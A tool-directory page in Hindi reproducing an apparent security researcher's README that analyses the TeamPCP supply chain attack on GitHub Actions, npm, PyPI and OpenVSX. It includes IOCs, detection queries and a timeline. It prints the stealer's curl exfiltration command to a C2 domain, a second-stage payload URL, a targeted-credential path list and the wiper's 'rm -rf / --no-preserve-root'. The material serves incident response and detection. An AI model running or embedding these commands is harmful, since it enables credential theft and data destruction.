Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
teampcp-supply-chain-attack — CVE-2026-33634 (CVSS 9.4) — अब तक का 2026 का सबसे प्रभावशाली CI/CD सप्लाई चेन हमला। | Kitploit
उपकरण/GitHubGitHub/ugurrates/teampcp-supply-chain-attack
कंटेनर सुरक्षामालवेयर विश्लेषणक्लाउड सुरक्षाखतरा खुफियाआपूर्ति श्रृंखला सुरक्षालर्निंग और शिक्षाघटना प्रतिक्रियाचयनित संसाधन

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
GitHub
ugurrates/teampcp-supply-chain-attack

teampcp-supply-chain-attack

CVE-2026-33634 (CVSS 9.4) — अब तक का 2026 का सबसे प्रभावशाली CI/CD सप्लाई चेन हमला।

रिपॉजिटरी देखें
11341 महीना पहलेअभी तक समीक्षित नहीं

TeamPCP सप्लाई चेन हमला: तकनीकी विश्लेषण और डिटेक्शन गाइड

CVE-2026-33634 (CVSS 9.4) — अब तक 2026 का सबसे प्रभावशाली CI/CD सप्लाई चेन हमला।

19–25 मार्च, 2026 के बीच, खतरा अभिनेता TeamPCP (जिसे DeadCatx3, PCPcat, ShellForce, CanisterWorm के रूप में भी ट्रैक किया जाता है) ने पाँच पारिस्थितिकी तंत्रों में कैस्केडिंग सप्लाई चेन समझौता किया: GitHub Actions, Docker Hub, OpenVSX, npm, और PyPI। एक एकल अधूरे-रोटेटेड GitHub PAT से शुरू होकर, यह अभियान दो प्रमुख ओपन-सोर्स सुरक्षा विक्रेताओं (Aqua Security और Checkmarx), चार GitHub Actions रिपॉजिटरी, दो VS Code एक्सटेंशन, कंटेनर रजिस्ट्री और 66+ npm पैकेजों में फैल गया।

यह रिपॉजिटरी संपूर्ण तकनीकी विवरण, क्यूरेटेड IOC सूचियाँ (FP-परीक्षित), और Microsoft Defender XDR में तैनाती के लिए तैयार डिटेक्शन क्वेरी प्रदान करता है।


विषय-सूची

  • हमले की समयरेखा
  • किल चेन विवरण
  • समझौता किए गए आर्टिफैक्ट
  • क्रेडेंशियल स्टीलर की कार्यप्रणाली
  • CanisterWorm — npm प्रसार
  • ईरान-लक्षित वाइपर घटक
  • डिटेक्शन और हंटिंग
  • IOC सूची
  • FP फ़िल्टरिंग नोट्स
  • MITRE ATT&CK मैपिंग
  • संदर्भ

हमले की समयरेखा


किल चेन विवरण

चरण 1 — प्रारंभिक पहुँच

मूल कारण: 28 फरवरी के उल्लंघन के बाद अधूरा क्रेडेंशियल रोटेशन। aqua-bot सेवा खाते का PAT या तो रद्द नहीं किया गया था या हमलावर ने रोटेशन के दौरान नया टोकन देख लिया था।

TeamPCP ने इस बनाए रखी गई पहुँच का उपयोग संस्करण टैग को दुर्भावनापूर्ण नकली कमिट में फोर्स-पुश करने के लिए किया। प्रत्येक जाली कमिट ने मूल के मेटाडेटा (लेखक, टाइमस्टैम्प, संदेश) की नकल की, जबकि एंट्री पॉइंट स्क्रिप्ट को स्टीलर पेलोड से बदल दिया। GitHub के रिलीज़ पेज में कोई दृश्य परिवर्तन नहीं दिखा — यहाँ तक कि "Immutable" बैज भी सामान्य रूप से प्रदर्शित हुआ।

चरण 2 — पेलोड निष्पादन

स्टीलर — एक 204-पंक्ति entrypoint.sh जो स्वयं को "TeamPCP Cloud stealer" के रूप में पहचानता है — तीन-चरणीय हमला चलाता है:

चरण 1: मेमोरी स्क्रैपिंग

root@kitploit:~
Reads /proc/<pid>/mem from Runner.Worker processes
Searches for pattern: {"value":"<secret>","isSecret":true}
Extracts GitHub PATs, cloud credentials, API keys from runner memory

चरण 2: फाइलसिस्टम क्रेडेंशियल स्वीप

50+ संवेदनशील पथों को स्कैन करता है, जिनमें शामिल हैं:

  • SSH कुंजियाँ (~/.ssh/*)
  • AWS/GCP/Azure क्रेडेंशियल
  • Kubernetes टोकन और कॉन्फ़िग
  • Docker रजिस्ट्री क्रेडेंशियल
  • Terraform स्टेट फ़ाइलें
  • क्रिप्टो वॉलेट (Solana, Bitcoin, Ethereum, Cardano)
  • npm टोकन (~/.npmrc)
  • शेल हिस्ट्री
  • .env फ़ाइलें

चरण 3: एन्क्रिप्टेड बहिर्निकासी

  • सभी एकत्रित डेटा को tpcp.tar.gz में बंडल करता है
  • AES-256-CBC (यादृच्छिक सत्र कुंजी) + RSA-4096/RSA-OAEP (हमलावर की सार्वजनिक कुंजी) के साथ एन्क्रिप्ट करता है
  • विक्रेता-विशिष्ट टाइपोस्क्वाट डोमेन पर curl POST के माध्यम से बहिर्निकासी करता है
  • फ़ॉलबैक: चुराए गए GITHUB_TOKEN का उपयोग करके पीड़ित के GitHub खाते में tpcp-docs या docs-tpcp रिपॉजिटरी बनाता है

चरण 3 — स्थायित्व (Persistence)

गैर-CI Linux सिस्टम पर, मैलवेयर:

  1. छिपी हुई निर्देशिका ~/.config/sysmon/ बनाता है
  2. एक Python बैकडोर (sysmon.py) छोड़ता है
  3. एक systemd उपयोगकर्ता सेवा स्थापित करता है जो हर 50 मिनट में C2 को पोल करती है
  4. किल स्विच: यदि C2 प्रतिक्रिया में "youtube" है, तो बैकडोर निष्पादन छोड़ देता है

चरण 4 — पार्श्व गति (Checkmarx लहर)

Trivy लहर से चुराए गए क्रेडेंशियल ने Checkmarx के पारिस्थितिकी तंत्र के समझौते को सक्षम किया। प्रत्येक नई लहर ने पिछली लहर के ब्लॉकलिस्ट से बचने के लिए एक अलग टाइपोस्क्वाट C2 डोमेन का उपयोग किया:

लहरC2 डोमेनटाइपोस्क्वाट ऑफ़
Trivyscan.aquasecurtiy[.]orgaquasecurity.org

समझौता किए गए आर्टिफैक्ट

GitHub Actions

OpenVSX एक्सटेंशन (VS Code Marketplace प्रभावित नहीं)

एक्सटेंशनदुर्भावनापूर्ण संस्करणसुरक्षित संस्करण
checkmarx.ast-results2.53.0>= 2.56.0
checkmarx.cx-dev-assist1.7.0>= 1.10.0

दोनों एक्सटेंशन 23 मार्च को 12:53 UTC पर 12 सेकंड के अंतराल पर ast-phoenix खाते के माध्यम से प्रकाशित किए गए। सक्रियण पर, environmentAuthChecker.js क्लाउड प्रदाता क्रेडेंशियल की जाँच करता है, फिर checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz से दूसरे चरण का स्टीलर खींचता है।

कंटेनर इमेज

इमेजदुर्भावनापूर्ण टैग
docker.io/aquasec/trivy0.69.4, 0.69.5, 0.69.6
ghcr.io/aquasecurity/trivy0.69.4, 0.69.5, 0.69.6
public.ecr.aws/aquasecurity/trivy0.69.4, 0.69.5, 0.69.6

PyPI

पैकेजसंस्करणबैकडोर युक्त फ़ाइल
litellm1.82.7, 1.82.8litellm/proxy/proxy_server.py

K8s पार्श्व गति टूलकिट के साथ ट्रिपल-नेस्टेड base64 पेलोड। checkmarx.zone/raw को पोल करने वाले sysmon.service के माध्यम से स्थायित्व।


क्रेडेंशियल स्टीलर की कार्यप्रणाली

सभी लहरों में बहिर्निकासी पैटर्न समान है:

root@kitploit:~
curl -s -o /dev/null -w %{http_code} -X POST https://<c2_domain> \
  -H "Content-Type: application/octet-stream" \
  -H "X-Filename: tpcp.tar.gz" \
  --data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gz

टाइपोस्क्वाट डोमेन रणनीति जानबूझकर की गई है: CI/CD लॉग की समीक्षा करने वाला एक विश्लेषक curl ट्रैफ़िक को ऐसे डोमेन पर देखता है जो एक्शन के अपने विक्रेता डोमेन जैसा दिखता है। सावधानीपूर्वक तुलना के बिना, त्वरित लॉग समीक्षा में scan.aquasecurtiy.org को aquasecurity.org मान लिया जाता है।

केवल हमलावर ही चुराए गए डेटा को डिक्रिप्ट कर सकता है — AES सत्र कुंजी उनकी सार्वजनिक कुंजी के साथ RSA-OAEP एन्क्रिप्टेड है।


CanisterWorm — npm प्रसार

Trivy समझौते के 24 घंटों के भीतर, चुराए गए npm टोकन ने 66+ पैकेजों (141 दुर्भावनापूर्ण आर्टिफैक्ट) में स्व-प्रसारित होने वाला वर्म सक्षम किया।

CanisterWorm को उल्लेखनीय क्या बनाता है:

  • C2 के रूप में ICP (Internet Computer Protocol) ब्लॉकचेन कैनिस्टर का उपयोग करने वाला पहला प्रलेखित npm मैलवेयर
  • tdtqy-oyaaa-aaaae-af2dq-cai पर स्थित कैनिस्टर एक विकेंद्रीकृत स्मार्ट कॉन्ट्रैक्ट है — कोई एकल टेकडाउन पॉइंट नहीं
  • 3 विधियाँ उजागर करता है: get_latest_link, http_request, update_link
  • हमलावर बिना किसी npm पैकेज को पुनः प्रकाशित किए सभी संक्रमित मशीनों पर पेलोड घुमा सकता है
  • किल स्विच: यदि कैनिस्टर youtube.com युक्त URL लौटाता है, तो बैकडोर सो जाता है
  • स्थायित्व: pgmon (PostgreSQL मॉनिटरिंग) के रूप में प्रच्छन्न systemd उपयोगकर्ता सेवा
  • पोलिंग अंतराल: हर 50 मिनट
  • बाइनरी /tmp/pglog में छोड़ी गई, स्थिति /tmp/.pg_state में ट्रैक की जाती है

ज्ञात समझौता किए गए स्कोप: @emilgroup/*, @teale.io/* (@teale.io/eslint-config v1.8.11, v1.8.12 में स्व-प्रसारित वैरिएंट)


ईरान-लक्षित वाइपर घटक

एक विनाशकारी वैरिएंट विशेष रूप से ईरानी प्रणालियों को लक्षित करता है:

  1. Kubernetes + ईरान: प्रत्येक नोड (कंट्रोल प्लेन सहित) पर विशेषाधिकार प्राप्त DaemonSets तैनात करता है, kamikaze नामक कंटेनर के माध्यम से वाइप और फोर्स-रीबूट करता है
  2. Kubernetes + गैर-ईरान: CanisterWorm बैकडोर को systemd सेवा के रूप में स्थापित करता है
  3. गैर-K8s + ईरान: sudo के साथ rm -rf / --no-preserve-root निष्पादित करता है
  4. गैर-K8s + गैर-ईरान: कोई कार्रवाई नहीं

पता लगाना सिस्टम टाइमज़ोन और लोकेल जाँच के माध्यम से होता है।


डिटेक्शन और हंटिंग

Microsoft Defender XDR — कस्टम डिटेक्शन नियम

नियम नाम: TeamPCP Supply Chain C2 and Malware IOC Match
गंभीरता: उच्च
श्रेणी: CommandAndControl
आवृत्ति: हर 1 घंटे

पूर्ण KQL क्वेरी के लिए detection/defender_xdr_query.kql देखें।

क्वेरी निम्नलिखित को कवर करती है:

  • 7 SHA256 फ़ाइल हैश (स्टीलर + CanisterWorm वैरिएंट)
  • 2 C2 IP पते
  • 4 C2 डोमेन (टाइपोस्क्वाट + ICP कैनिस्टर)
  • 4 विशिष्ट C2 URL
  • DNS रिज़ॉल्यूशन जाँच

Defender TI इंडिकेटर इम्पोर्ट

इम्पोर्ट के लिए तैयार CSV iocs/FINAL_TeamPCP_IOC_25Mar2026.csv पर प्रदान किया गया है। इस फ़ाइल का प्रोडक्शन एंटरप्राइज़ वातावरण के विरुद्ध FP-परीक्षण किया गया है।

अन्य प्लेटफ़ॉर्म

प्लेटफ़ॉर्मडिटेक्शन
Palo Alto Cortex XDRनियम ioc.linux.shaihulud.2 — GitHub Action रनर पर क्रेडेंशियल-एक्सेस
Sysdig/FalcoContact EC2 Instance Metadata Service From Container, Curl Exfiltrating File,

IOC सूची

फ़ाइल हैश (SHA256)

नेटवर्क IOC

C2 URL पथ

URLकार्य
checkmarx[.]zone/static/checkmarx-util-1.0.4.tgzदूसरे चरण का पेलोड डाउनलोड
checkmarx[.]zone/vsx

स्थायित्व आर्टिफैक्ट

GitHub बहिर्निकासी रिपॉजिटरी (फ़ॉलबैक)

नामलहर
tpcp-docsTrivy
docs-tpcpCheckmarx

FP फ़िल्टरिंग नोट्स

इस रिपॉजिटरी में डिटेक्शन क्वेरी और IOC CSV का परीक्षण निम्नलिखित चलाने वाले प्रोडक्शन वातावरण के विरुद्ध किया गया है:

  • Ansible AWX/Tower with community.general and kubernetes.core collections
  • macOS डेवलपर वर्कस्टेशन पर Claude Code और GitHub Copilot
  • FortiMonitor एजेंट (IMDS पोलिंग)
  • OCI इंस्टेंस पर Oracle AHF (IMDS पोलिंग)
  • विभिन्न Python/Node.js डेवलपमेंट टूलचेन

निम्नलिखित IOC को पुष्टि किए गए गलत सकारात्मक (false positives) के कारण हटा दिया गया:


MITRE ATT&CK मैपिंग


संदर्भ


लाइसेंस

MIT — स्वतंत्र रूप से उपयोग करें, साझा करें, अनुकूलित करें। एट्रिब्यूशन की सराहना की जाती है।


लेखक: Ugur Can Ates — SOC टीम लीड और वरिष्ठ सुरक्षा इंजीनियर
अंतिम अपडेट: 25 मार्च, 2026

टूल डाउनलोड करें
दिनांक (UTC)घटना
20 फरवरी, 2026hackerbot-claw खाता बनाया गया; शोषण योग्य pull_request_target वर्कफ़्लो के लिए रिपॉजिटरी स्कैन करना शुरू
28 फरवरी, 2026PWN अनुरोध के माध्यम से पहला Trivy समझौता; क्रेडेंशियल बाहर निकाले गए
1 मार्च, 2026Aqua Security ने रोकथाम का प्रयास किया — क्रेडेंशियल रोटेशन अधूरा
19 मार्च, 17:43मुख्य हमला: TeamPCP ने समझौता किए गए aqua-bot सेवा खाते के माध्यम से aquasecurity/trivy-action में 75/76 टैग + setup-trivy के सभी 7 टैग फोर्स-पुश किए
19 मार्च, 18:22बैकडोर युक्त Trivy v0.69.4 GitHub Releases, Docker Hub, GHCR, ECR पर प्रकाशित
20 मार्च, 05:40Trivy-action समझौता विंडो बंद (~12 घंटे)
20 मार्च, 20:45CanisterWorm npm में फैलता हुआ पाया गया — 47+ पैकेज समझौता
22 मार्च, 20:31TeamPCP ने स्क्रिप्टेड 2-मिनट के विस्फोट में aquasec-com GitHub org के सभी 44 रिपॉजिटरी को विकृत किया
22 मार्चसमान स्टीलर पेलोड के साथ Docker Hub इमेज 0.69.5 और 0.69.6 पुश की गईं
23 मार्च, 02:53Checkmarx लहर शुरू: ast-phoenix खाते के माध्यम से दुर्भावनापूर्ण ast-results v2.53.0 और cx-dev-assist v1.7.0 OpenVSX पर प्रकाशित
23 मार्च, 12:58समझौता किए गए cx-plugins-releases खाते के माध्यम से Checkmarx/kics-github-action के सभी 35 टैग फोर्स-पुश
23 मार्च, 15:41Checkmarx ने OpenVSX समस्या हल होने की रिपोर्ट दी
23 मार्च, 16:50उपयोगकर्ता रिपोर्ट के बाद KICS GitHub Action को हटाया गया
23 मार्च, 22:25Sysdig ने रिपोर्ट किया कि Checkmarx/ast-github-action v2.3.28 भी समझौता किया गया
24 मार्च, 08:30LiteLLM लहर: चुराए गए क्रेडेंशियल का उपयोग करके ट्रोजन युक्त litellm v1.82.7 और v1.82.8 PyPI पर प्रकाशित
24 मार्च, 11:25PyPI ने दुर्भावनापूर्ण LiteLLM संस्करणों को क्वारंटीन किया
Checkmarx/KICScheckmarx[.]zonecheckmarx.com
LiteLLMmodels.litellm[.]cloudlitellm.ai
रिपॉजिटरीसमझौता किए गए टैगएक्सपोज़र विंडो (UTC)एंट्री पॉइंट
aquasecurity/trivy-action76 में से 75 (सुरक्षित: 0.35.0)19 मार्च 17:43 – 20 मार्च 05:40entrypoint.sh
aquasecurity/setup-trivyसभी 7 टैग19 मार्च 17:43 – 21:44action.yaml
Checkmarx/kics-github-actionसभी 35 टैग23 मार्च 12:58 – 16:50setup.sh
Checkmarx/ast-github-actionv2.3.28 (संभवतः सभी)23 मार्च ~22:25+setup.sh
Exfiltration of AWS IMDS Credentials Using LOTL Binary
हैशविवरणस्रोत
18a24f83e807479438dcab7a1804c51a00dafc1d526698a66e0640d1e5dd671aTrivy दुर्भावनापूर्ण entrypoint.shPhoenix Security
c37c0ae9641d2e5329fcdee847a756bf1140fdb7f0b7c78a40fdc39055e7d926CanisterWorm लहर 4 — अंतिम रूपAikido Security
0c0d206d5e68c0cf64d57ffa8bc5b1dad54f2dda52f24e96e02e237498cb9c3aCanisterWorm लहर 3 — स्व-प्रसार परीक्षणAikido Security
61ff00a81b19624adaad425b9129ba2f312f4ab76fb5ddc2c628a5037d31a4baCanisterWorm लहर 2 — सशस्त्र ICP बैकडोरAikido Security
f398f06eefcd3558c38820a397e3193856e4e6e7c67f81ecc8e533275284b152CanisterWorm लहर 1 — deploy.jsAikido Security
7df6cef7ab9aae2ea08f2f872f6456b5d51d896ddda907a238cd6668ccdc4bb7CanisterWorm लहर 2 — deploy.jsAikido Security
5e2ba7c4c53fa6e0cef58011acdd50682cf83fb7b989712d2fcf1b5173bad956CanisterWorm लहर 3+ — deploy.js मिनिफाइडAikido Security
इंडिकेटरप्रकारउद्देश्य
83.142.209.11IPC2 सर्वर (checkmarx.zone)
45.148.10.212IPC2 सर्वर (scan.aquasecurtiy.org)
checkmarx[.]zoneडोमेनC2 — Checkmarx/KICS/LiteLLM लहर
scan.aquasecurtiy[.]orgडोमेनC2 — Trivy लहर
models.litellm[.]cloudडोमेनC2 — LiteLLM PyPI लहर
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]ioडोमेनICP कैनिस्टर डेड-ड्रॉप C2
बहिर्निकासी एंडपॉइंट
checkmarx[.]zone/rawस्थायित्व पोलिंग (50 मिनट)
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]io/ICP कैनिस्टर C2
पथउद्देश्य
~/.config/sysmon/बैकडोर निर्देशिका
~/.config/sysmon.pyPython बैकडोर
~/.config/systemd/user/sysmon.serviceSystemd स्थायित्व
~/.config/systemd/user/pgmon.serviceCanisterWorm स्थायित्व (PostgreSQL प्रच्छन्नता)
/tmp/pglogडाउनलोड की गई बाइनरी
/tmp/.pg_stateC2 पोलिंग स्थिति
IOCFP स्रोत
setup.sh (फ़ाइलनाम)Ansible कलेक्शन, Claude Code प्लगिन कैश, Bitnami स्क्रिप्ट
service.py (फ़ाइलनाम)Ansible module_utils, protobuf, boto3, FreeIPA, K8s कोर
deploy.js (फ़ाइलनाम)मानक npm/node फ़ाइल
169.254.169.254 (IMDS IP)FortiMonitor एजेंट, Oracle AHF — वैध मॉनिटरिंग
icp0.io (पैरेंट डोमेन)बहुत व्यापक, वैध ICP ट्रैफ़िक पकड़ता है
hooks.slack.com (cmdline)वैध Slack इंटीग्रेशन
discord.com/api/webhooks (cmdline)वैध Discord इंटीग्रेशन
तकनीकIDसंदर्भ
सप्लाई चेन समझौता: सॉफ़्टवेयर निर्भरताएँT1195.002GitHub Actions टैग पॉइज़निंग, OpenVSX, npm, PyPI
असुरक्षित क्रेडेंशियल: क्लाउड इंस्टेंस मेटाडेटा APIT1552.005CI रनर से AWS IMDS चोरी
पासवर्ड स्टोर से क्रेडेंशियलT1555फाइलसिस्टम क्रेडेंशियल स्वीप (50+ पथ)
OS क्रेडेंशियल डंपिंगT1003Runner.Worker /proc/mem स्क्रैपिंग
C2 चैनल पर बहिर्निकासीT1041टाइपोस्क्वाट डोमेन पर एन्क्रिप्टेड tpcp.tar.gz
वेब सेवाT1102ICP कैनिस्टर डेड-ड्रॉप C2
Systemd सेवाT1543.002pgmon.service, sysmon.service स्थायित्व
इनग्रेस टूल ट्रांसफरT1105checkmarx-util-1.0.4.tgz डाउनलोड
इंफ्रास्ट्रक्चर अधिग्रहण: डोमेनT1583.001प्रति-लहर टाइपोस्क्वाट डोमेन
स्रोतलिंक
Wiz — KICS समझौताhttps://www.wiz.io/blog/teampcp-attack-kics-github-action
Wiz — Trivy समझौताhttps://www.wiz.io/blog/trivy-compromised-teampcp-supply-chain-attack
Sysdig TRT — Checkmarx विस्तारhttps://www.sysdig.com/blog/teampcp-expands-supply-chain-compromise-spreads-from-trivy-to-checkmarx-github-actions
Checkmarx आधिकारिकhttps://checkmarx.com/blog/checkmarx-security-update/
Phoenix Security — पूर्ण समयरेखाhttps://phoenix.security/teampcp-supply-chain-attack-trivy-checkmarx-github-actions-npm-canisterworm/
Aikido Security — CanisterWormhttps://www.aikido.dev/blog/teampcp-deploys-worm-npm-trivy-compromise
Endor Labs — LiteLLMhttps://www.endorlabs.com/learn/teampcp-isnt-done
Mend — CanisterWormhttps://www.mend.io/blog/canisterworm-the-self-spreading-npm-attack-that-uses-a-decentralized-server-to-stay-alive/
Socket — npm समझौताhttps://socket.dev/blog/canisterworm-npm-publisher-compromise-deploys-backdoor-across-29-packages
StepSecurity — Trivy विश्लेषणhttps://www.stepsecurity.io/blog/trivy-compromised-a-second-time---malicious-v0-69-4-release
JFrog — विस्तृत विश्लेषणhttps://research.jfrog.com/post/canister-worm/
Rami McCarthy — IOC समयरेखाhttps://ramimac.me/trivy-teampcp/